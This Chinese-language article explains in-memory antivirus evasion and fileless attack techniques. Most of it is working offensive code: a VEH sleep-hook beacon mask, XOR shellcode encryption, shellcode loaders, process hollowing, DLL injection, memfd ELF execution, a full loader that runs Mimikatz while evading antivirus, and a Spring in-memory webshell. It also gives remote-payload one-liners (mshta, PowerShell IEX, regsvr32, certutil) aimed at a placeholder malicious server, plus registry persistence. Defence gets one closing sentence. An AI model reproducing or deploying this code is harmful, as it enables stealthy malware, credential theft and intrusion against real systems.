0.前言

在当今网络安全领域,攻击者不断进化他们的技术以逃避检测,其中内存免杀与无文件攻击已成为最受高级攻击者青睐的技术。这些技术通过最大限度地减少在目标系统上留下的痕迹,有效规避了传统安全解决方案的检测。本文将深入解析这些技术的原理、实现方式和防御策略。

1.内存免杀与无文件攻击基础

1.1 概念解析

内存免杀(Memory Avoidance)是指恶意代码通过仅在内存中运行,避免将自身写入磁盘或掩盖其在内存中的特征,从而逃避防病毒软件检测的技术。

无文件攻击(Fileless Attack)广义上指不依赖传统文件落地的攻击方式,恶意代码通常存在于注册表、内存或合法进程中,避免在磁盘上留下恶意文件。

虽然"无文件攻击"这一术语容易让人误解为完全不需要文件,但实际上这类攻击仍会使用文件作为初始入口,只是恶意负载不直接以文件形式持久存储在磁盘上,或者恶意代码执行后立即删除磁盘上的文件,只留在内存中运行。

1.2 技术演进历程

无文件攻击技术并非新生事物,其演进历程中的关键节点包括:

  • 2014年:第一个引起广泛关注的无文件恶意软件Trojan.Poweliks出现,它仅持久驻留在注册表中,完全不作为文件存在于磁盘上。
  • 2015年:Angler EK成为第一个无需在驱动器上写入恶意程序而感染主机的漏洞利用工具包。
  • 2017年:"无文件恶意软件"这一术语被安全社区广泛接受并定型。
  • 近年:无文件攻击已成为高级持续性威胁(APT)的标准组件,结合了多种逃避技术。

2.内存免杀核心技术原理

2.1 内存特征规避

传统防病毒软件会扫描进程内存中的恶意模式,内存免杀技术通过多种方式规避这种检测:

动态内存属性修改:这是一种先进的技术,思路是不断改变内存属性,仅在需要执行时设置为可执行,其他时间设置为不可执行。当AV扫描进程空间时,只会扫描敏感的可执行内存区域,通过动态修改内存属性,可以有效规避内存扫描。

Windows中主要的异常处理机制:VEH、SEH、C++EH。

它们是C++代码在处理错误(异常)时的三种不同机制。

  • C++EH (C++ Exception Handling):标准C++异常处理。使用 try、catch、throw 关键字,是跨平台的推荐方式。
  • SEH (Structured Exception Handling):Windows操作系统级别的异常处理。处理像访问违规、除零错误这类硬件和系统异常,使用 __try、__except、__finally 关键字。
  • VEH (Vectored Exception Handling):SEH的增强版,也是Windows特有。它是一个链式的回调函数,会在SEH处理之前被调用,可以捕获整个进程内的所有异常。

简单比喻:

  • C++EH:你写的程序逻辑内部的错误处理(如“文件未找到”)。
  • SEH:操作系统为你程序的“车祸现场”(如内存访问错误)设置的救护车和拖车。
  • VEH:一个在“车祸现场”安装的全局监控摄像头,能在救护车到达之前最先看到情况并做出反应。


下面是基于VEH的内存属性动态修改示例:

// Hook Sleep函数,在睡眠时修改内存属性为不可执行
static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMilliseconds) {
    if (Vir_FLAG) {
        VirtualFree(shellcode_addr, 0, MEM_RELEASE);
        Vir_FLAG = false;
    }
    printf("sleep时间:%d\n", dwMilliseconds);
    unhookSleep();
    OldSleep(dwMilliseconds);
    hookSleep();
    // 解锁
    SetEvent(hEvent);
}

// 异常处理函数,当执行不可执行内存时恢复属性
LONG NTAPI PvectoredExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo){
    printf("异常错误码:%x\n", ExceptionInfo->ExceptionRecord->ExceptionCode);
    printf("线程地址:%lx\n", ExceptionInfo->ContextRecord->Eip);
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(ExceptionInfo->ContextRecord->Eip)) {
        printf("恢复可执行内存属性");
        VirtualProtect(Beacon_address, Beacon_len, PAGE_EXECUTE_READWRITE, &Beacon_flOldProtect);
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

核心机制

1. Sleep Hook
  • 挂钩Sleep函数,在每次睡眠时:
  • 释放shellcode内存(如果存在)
  • 解除Hook避免递归调用
  • 执行原始Sleep
  • 重新挂钩
2. VEH异常处理
  • 捕获访问违例异常(0xC0000005)
  • 当线程尝试执行被设置为不可执行的内存时:
  • 检查异常地址是否在目标范围内(is_Exception)
  • 恢复内存为可执行状态(PAGE_EXECUTE_READWRITE)
  • 让程序继续执行
工作流程
线程执行被保护内存 → 触发访问违例 → VEH捕获异常 → 
恢复内存可执行属性 → 继续正常执行shellcode


内存加密与解密:恶意代码在内存中大部分时间保持加密状态,仅在执行前解密,执行后立即重新加密:

// 异或随机值加解密示例
void decrypt(unsigned char* input, int len, unsigned int key) {
    srand(key);
    for (int i = 0; i < len; i++) {
        input[i] = input[i] ^ (rand() % len + 1);
        input[i] = input[i] ^ key;
    }
}

这种方法可以有效降低内存特征检测的概率,但需要注意加密后熵值不能太高,否则可能触发熵值检测机制。

​

这两段代码共同实现了一个完整的恶意代码逃避技术链,形成了纵深防护体系。

第一段代码的异或加密在静态层面隐藏payload,通过对shellcode进行随机流加密,使其在磁盘和内存静态扫描时不暴露真实特征,有效绕过基于特征码的检测。

第二段代码的VEH异常处理机制则在动态执行层面提供保护,通过将内存设置为不可执行状态来逃避运行时内存扫描,当程序真正需要执行shellcode时,通过触发访问违例异常来动态恢复内存可执行属性,实现"按需解密执行"的效果。

两者协同工作:加密解决静态检测问题,内存保护切换解决动态检测问题,形成从静态隐藏到动态逃避的完整技术闭环,显著提升了恶意代码的生存能力和反检测效果。

2.2 Shellcode加载技术

Shellcode加载器是内存免杀的核心组件,其基本工作流程如下:

  1. 申请内存空间
  2. 将加密的shellcode写入内存
  3. 解密shellcode
  4. 修改内存保护属性为可执行
  5. 执行shellcode

​

// 简单的shellcode加载器示例
unsigned char* inputFile(const char* filename, int &len) {
    FILE* fp = NULL;
    int err = fopen_s(&fp, filename, "rb");
    if (err != 0 || !fp) {
        exit(-1);
    }

    fseek(fp, 0, SEEK_END);
    len = ftell(fp);
    rewind(fp);

    unsigned char* lpAddress = (unsigned char*)malloc(len);
    fread(lpAddress, 1, len, fp);
    fclose(fp);
    return lpAddress;
}

// 执行shellcode
void execute_shellcode(unsigned char* shellcode, int length) {
    LPVOID memory = VirtualAlloc(NULL, length, MEM_COMMIT, PAGE_READWRITE);
    memcpy(memory, shellcode, length);
    
    DWORD oldProtect;
    VirtualProtect(memory, length, PAGE_EXECUTE_READ, &oldProtect);
    
    ((void(*)())memory)();
}

代码功能分析

1. 文件读取函数 inputFile

unsigned char* inputFile(const char* filename, int &len) {
FILE* fp = NULL;
int err = fopen_s(&fp, filename, "rb");  // 以二进制模式打开文件
if (err != 0 || !fp) {
exit(-1);  // 打开失败则退出
}

fseek(fp, 0, SEEK_END);  // 移动到文件末尾
len = ftell(fp);         // 获取文件长度
rewind(fp);              // 回到文件开头

unsigned char* lpAddress = (unsigned char*)malloc(len);  // 分配内存
fread(lpAddress, 1, len, fp);  // 读取文件内容
fclose(fp);
return lpAddress;  // 返回文件内容指针
}

作用:读取指定文件的内容到内存中。

2. Shellcode执行函数 execute_shellcode

void execute_shellcode(unsigned char* shellcode, int length) {
    // 1. 分配可读写内存
    LPVOID memory = VirtualAlloc(NULL, length, MEM_COMMIT, PAGE_READWRITE);
    
    // 2. 复制shellcode到分配的内存
    memcpy(memory, shellcode, length);
    
    // 3. 修改内存保护为可执行
    DWORD oldProtect;
    VirtualProtect(memory, length, PAGE_EXECUTE_READ, &oldProtect);
    
    // 4. 执行shellcode
    ((void(*)())memory)();
}

执行流程

  1. 读取文件:将包含shellcode的二进制文件读入内存
  2. 内存分配:使用VirtualAlloc分配可读写的内存空间
  3. 复制数据:将shellcode复制到分配的内存中
  4. 权限修改:将内存保护属性从PAGE_READWRITE改为PAGE_EXECUTE_READ
  5. 执行代码:通过函数指针调用执行shellcode

​

在实际免杀操作中,需要注意多个细节:使用VirtualAlloc等函数申请内存,避免直接使用malloc;在解密时机上尽可能晚解密,减少暴露时间;执行后立即清理内存痕迹。

3.无文件攻击技术分类与实现

3.1 基于脚本的无文件攻击

脚本语言如PowerShell、VBScript、JavaScript等提供了强大的系统管理能力,且不会产生传统可执行文件,因此成为无文件攻击的首选。

HTA(HTML Application)攻击:

HTA文件使用HTML和脚本语言(如VBScript、JavaScript)编写,具有比普通HTML文件更高的权限,可以访问文件系统和注册表。

<!-- 恶意HTA文件示例 -->
<html>
<head>
<title>恶意HTA示例</title>
</head>
<body>
<script>
var command = "cmd.exe /c calc.exe";
var shell = new ActiveXObject("WScript.Shell");
shell.Run(command, 0, false);
</script>
</body>
</html>

HTA文件通过mshta.exe执行,可以使用以下命令运行:

mshta.exe http://恶意服务器/attack.hta


PowerShell无文件攻击:

PowerShell因其强大的系统管理能力和丰富的API成为无文件攻击的重要工具。

# 内存中加载并执行PowerShell脚本
$code = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("BASE64编码的脚本"))
Invoke-Expression $code

# 从远程服务器加载脚本到内存执行
IEX (New-Object System.Net.WebClient).DownloadString('http://恶意服务器/script.ps1')

3.2 基于注册表的无文件持久化

恶意代码可以将自身存储在注册表键值中,并通过合法系统程序加载到内存执行。

// 通过rundll32执行JavaScript代码
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";eval("wscript=new ActiveXObject('WScript.Shell');wscript.Run('calc.exe');");

// 通过注册表实现持久化
var shell = new ActiveXObject("WScript.Shell");
var regPath = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\";
shell.RegWrite(regPath + "MaliciousKey", "javascript:\"\\..\\mshtml,RunHTMLApplication \";eval(\"恶意代码\")", "REG_SZ");

Trojan.Poweliks是首个著名的基于注册表的无文件恶意软件,它将加密的恶意负载保存在注册表中,并创建自启动脚本负责解码并将负载加载到内存中。

3.3 内存注入技术

内存注入技术允许攻击者将恶意代码注入到合法进程的地址空间中,从而掩盖恶意活动。

进程空洞(Process Hollowing):

// 创建挂起的合法进程
CreateProcess("合法程序.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// 获取进程上下文
GetThreadContext(pi.hThread, &ctx);

// 读取PEB获取映像基地址
ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 8), &pImageBase, 4, NULL);

// 卸载合法进程内存
ZwUnmapViewOfSection(pi.hProcess, pImageBase);

// 在相同地址分配新内存
VirtualAllocEx(pi.hProcess, pImageBase, imageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// 写入恶意代码
WriteProcessMemory(pi.hProcess, pImageBase, maliciousImage, imageSize, NULL);

// 恢复线程执行
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);

代码解析

1. 创建挂起的合法进程

​

CreateProcess("合法程序.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
  • 作用:启动一个合法的系统进程(如svchost.exe、notepad.exe等)
  • CREATE_SUSPENDED:关键参数,创建进程但主线程处于挂起状态
  • 结果:进程内存空间已分配,但代码尚未开始执行

2. 获取进程上下文

GetThreadContext(pi.hThread, &ctx);
  • 作用:获取目标进程的线程上下文信息
  • 包含内容:寄存器状态(EAX、EBX、ECX、EDX等)
  • 关键用途:通过EBX寄存器找到PEB(进程环境块)地址

3. 读取PEB获取映像基地址

ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 8), &pImageBase, 4, NULL);
  • ctx.Ebx + 8:在x86系统中,PEB结构体的ImageBaseAddress位于偏移8字节处
  • 作用:读取合法进程的原始映像基地址(通常是0x00400000)
  • 原理:每个PE文件在内存中加载时都有特定的基地址

4. 卸载合法进程内存

ZwUnmapViewOfSection(pi.hProcess, pImageBase);
  • 作用:解除合法进程主模块的内存映射
  • 效果:原本存放合法程序代码的内存区域被清空,变成"空洞"
  • 关键点:这是"进程空洞"名称的由来

5. 在相同地址分配新内存

VirtualAllocEx(pi.hProcess, pImageBase, imageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  • pImageBase:在相同的基地址分配内存
  • PAGE_EXECUTE_READWRITE:内存属性设置为可读、可写、可执行
  • 目的:为恶意代码准备执行环境

6. 写入恶意代码

WriteProcessMemory(pi.hProcess, pImageBase, maliciousImage, imageSize, NULL);
  • maliciousImage:准备好的恶意PE文件内存映像
  • 作用:将恶意代码写入刚刚创建的"空洞"中
  • 结果:合法进程的外壳,恶意代码的内核

7. 恢复线程执行

SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
  • 作用:恢复挂起的线程,开始执行恶意代码
  • 入口点:线程从恶意PE文件的入口点开始执行

技术原理解析

内存布局变化

原始状态:

进程内存空间:
[0x00400000] 合法程序代码
[其他内存区域] 系统DLL、堆栈等

执行进程空洞后:

进程内存空间:
[0x00400000] 恶意程序代码 ← 替换到这里!
[其他内存区域] 系统DLL、堆栈等(保持不变)

为什么这种技术有效?

  1. 进程名合法:任务管理器显示的是合法进程名
  2. 父进程合法:进程树看起来正常
  3. 无文件落地:恶意代码只在内存中存在
  4. 绕过检测:很多安全产品只检查进程创建,不深入分析内存内容


DLL注入:

这是经典的 DLL注入技术,通过远程线程将DLL加载到目标进程的内存空间中

// 获取目标进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

// 在目标进程中分配内存
LPVOID pLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);

// 写入DLL路径
WriteProcessMemory(hProcess, pRemoteMemory, dllPath, strlen(dllPath) + 1, NULL);

// 创建远程线程执行LoadLibrary
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibrary, pRemoteMemory, 0, NULL);

代码逐行解析

1. 获取目标进程句柄

​

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
  • OpenProcess:打开已存在进程的句柄
  • PROCESS_ALL_ACCESS:请求所有可能的访问权限
  • pid:目标进程的ID(Process ID)
  • 作用:获得对目标进程的操作权限

2. 获取LoadLibrary函数地址

LPVOID pLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
  • GetModuleHandle("kernel32.dll"):获取kernel32.dll模块的基地址
  • GetProcAddress:从kernel32.dll中获取LoadLibraryA函数的地址
  • 原理:相同系统DLL在不同进程中的加载地址是一致的
  • LoadLibraryA:ANSI版本的DLL加载函数(LoadLibraryW是Unicode版本)

3. 在目标进程中分配内存

LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
  • VirtualAllocEx:在目标进程的虚拟地址空间中分配内存
  • strlen(dllPath) + 1:DLL路径字符串长度 + 1(用于空终止符)
  • MEM_COMMIT:为内存分配物理存储
  • PAGE_READWRITE:内存页面可读可写
  • 返回值:目标进程中分配的内存地址

4. 写入DLL路径

WriteProcessMemory(hProcess, pRemoteMemory, dllPath, strlen(dllPath) + 1, NULL);
  • WriteProcessMemory:将数据写入目标进程的内存空间
  • pRemoteMemory:目标进程中刚分配的内存地址
  • dllPath:要注入的DLL文件路径
  • 作用:让目标进程知道要加载哪个DLL

5. 创建远程线程执行LoadLibrary

CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibrary, pRemoteMemory, 0, NULL);
  • CreateRemoteThread:在目标进程中创建远程线程
  • pLoadLibrary:线程函数的地址(LoadLibraryA)
  • pRemoteMemory:线程参数(DLL路径字符串的地址)
  • 效果:目标进程会执行LoadLibraryA("注入的DLL路径")

完整工作流程

攻击者进程                目标进程
    |                      |
    |-- OpenProcess ------>| 获取进程句柄
    |                      |
    |-- VirtualAllocEx --->| 分配内存空间
    |                      |
    |-- WriteProcessMemory->| 写入DLL路径
    |                      |
    |-- CreateRemoteThread->| 创建远程线程
    |                      |
    |                      |-- 线程执行LoadLibraryA
    |                      |-- DLL被加载到目标进程
    |                      |-- DllMain函数被执行

3.4 系统工具滥用(Living Off the Land)

攻击者越来越多地滥用操作系统内置的合法工具来实施无文件攻击,这种技术被称为"靠土地为生"(Living Off the Land)。

常用系统工具:

工具名称

用途

恶意使用示例

regsvr32.exe

注册DLL文件

从远程服务器下载并执行DLL:regsvr32 /s /n /u /i:http://恶意服务器/scrobj.dll scrobj.dll

rundll32.exe

执行DLL中的函数

执行JavaScript代码:rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('恶意代码');

certutil.exe

证书管理工具

下载恶意文件:certutil -urlcache -split -f http://恶意服务器/malware.exe

mshta.exe

HTA文件执行

执行远程HTA:mshta http://恶意服务器/attack.hta

wmic.exe

WMI管理工具

从远程位置下载文件:wmic process call create "http://恶意服务器/malware.exe"

3.5 Linux无文件攻击技术

Linux系统同样面临无文件攻击威胁,memfd_create系统调用可以创建内存文件描述符,为无文件攻击提供了便利。

#include <sys/mman.h>
#include <stdio.h>
#include <unistd.h>

int main() {
    // 创建内存文件描述符
    int fd = memfd_create("malicious", MFD_CLOEXEC);
    if (fd == -1) {
        perror("memfd_create");
        return 1;
    }
    
    // 将恶意ELF文件写入内存
    // 这里简化了实际代码
    // write(fd, elf_data, elf_size);
    
    // 执行内存中的ELF
    char fd_path[100];
    snprintf(fd_path, sizeof(fd_path), "/proc/self/fd/%d", fd);
    execl(fd_path, "malicious", NULL);
    
    return 0;
}


使用Perl实现的内存中执行ELF的完整示例:

#!/usr/bin/env perl
use warnings;
use strict;
$|=1;

my $name = "";
my $fd = syscall(319, $name, 1); # 319是memfd_create的系统调用号
if (-1 == $fd) {
    die "memfd_create: $!";
}

open(my $FH, '>&='.$fd) or die "open: $!";
select((select($FH), $|=1)[0]);

print "Writing ELF binary to memory...";
# 将ELF二进制数据写入内存
print $FH pack q/H*/, q/ELF二进制数据的十六进制表示/ or die qq/write: $!/;

# 执行内存中的ELF
exec {"/proc/$$/fd/$fd"} "malicious_program", "-option", "value" or die "exec: $!";

4.实战案例解析

4.1 Mimikatz免杀实例

Mimikatz是著名的凭证提取工具,也是防病毒软件重点检测的对象。通过内存免杀技术可以有效规避检测。

实施步骤:

  1. 将Mimikatz转换为Shellcode:
    使用工具如pe2shc将Mimikatz EXE转换为shellcode格式。

自定义加密算法:

void encrypt(unsigned char* input, int len, unsigned int key) {
    srand(key);
    for (int i = 0; i < len; i++) {
        input[i] = input[i] ^ key;
        input[i] = input[i] ^ (rand() % len + 1);
    }
}


实现加载器:

#include <windows.h>
#include <stdio.h>

void decrypt(unsigned char* input, int len, unsigned int key) {
    srand(key);
    for (int i = 0; i < len; i++) {
        input[i] = input[i] ^ (rand() % len + 1);
        input[i] = input[i] ^ key;
    }
}

int main() {
    // 从文件读取加密的shellcode
    int shellcode_size = 1373696; // 实际大小
    unsigned char* shellcode = (unsigned char*)malloc(shellcode_size);
    
    // 读取加密的shellcode文件
    FILE* fp = fopen("mim_e.txt", "rb");
    fread(shellcode, 1, shellcode_size, fp);
    fclose(fp);
    
    // 申请内存
    LPVOID memory = VirtualAlloc(NULL, shellcode_size, MEM_COMMIT, PAGE_READWRITE);
    
    // 复制shellcode到内存
    memcpy(memory, shellcode, shellcode_size);
    
    // 解密shellcode
    decrypt((unsigned char*)memory, shellcode_size, 123006);
    
    // 修改内存保护属性
    DWORD oldProtect;
    VirtualProtect(memory, shellcode_size, PAGE_EXECUTE_READ, &oldProtect);
    
    // 执行shellcode
    ((void(*)())memory)();
    
    return 0;
}

4.2 基于VEH的免杀实例

VEH(向量异常处理)是Windows异常处理机制的一部分,执行顺序优于SEH(结构化异常处理),可以用于实现高级免杀技术。

工作机制:

  1. Hook内存分配函数(如VirtualAlloc)获取shellcode地址和大小
  2. 注册VEH异常处理程序
  3. 默认将shellcode内存设置为不可执行
  4. 当执行shellcode时触发异常
  5. VEH处理程序捕获异常,临时修改内存为可执行
  6. 执行完毕后恢复不可执行状态

关键代码:

// Hook VirtualAlloc获取shellcode信息
static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
    unhookVirtualAlloc();
    Beacon_len = dwSize;
    Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
    hookVirtualAlloc();
    printf("分配大小:%d", Beacon_len);
    printf("分配地址:%x \n", Beacon_address);
    return Beacon_address;
}

// 专门的线程负责设置内存不可执行
DWORD WINAPI SetNoExecutable(LPVOID lpParameter) {
    while (true) {
        // 等待解锁
        WaitForSingleObject(hEvent, INFINITE);
        printf("设置Beacon内存属性不可执行\n");
        VirtualProtect(Beacon_address, Beacon_len, PAGE_READWRITE, &Beacon_flOldProtect);
        // 设置事件为未被通知的,重新上锁
        ResetEvent(hEvent);
    }
}

4.3 Spring内存Webshell实例

在Java Web环境中,可以通过内存注入技术实现无文件Webshell。

获取ApplicationContext:

// 方法一:通过ContextLoader获取
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

// 方法二:通过RequestContextUtils获取
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

// 方法三:通过属性获取
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);


手动注册Controller:

// 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);

// 创建恶意Controller方法
Method method = Class.forName("com.example.MaliciousController").getMethod("maliciousMethod");

// 创建RequestMappingInfo
RequestMappingInfo info = RequestMappingInfo.paths("/malicious").methods(RequestMethod.GET).build();

// 注册Controller
mapping.registerMapping(info, new MaliciousController(), method);


5.总结

内存免杀与无文件攻击技术代表了现代网络攻击的演进方向,它们通过滥用系统合法功能和最大限度地减少磁盘痕迹,有效规避了传统安全检测。防御这类攻击需要结合多种技术,包括行为监控、内存分析和异常检测等。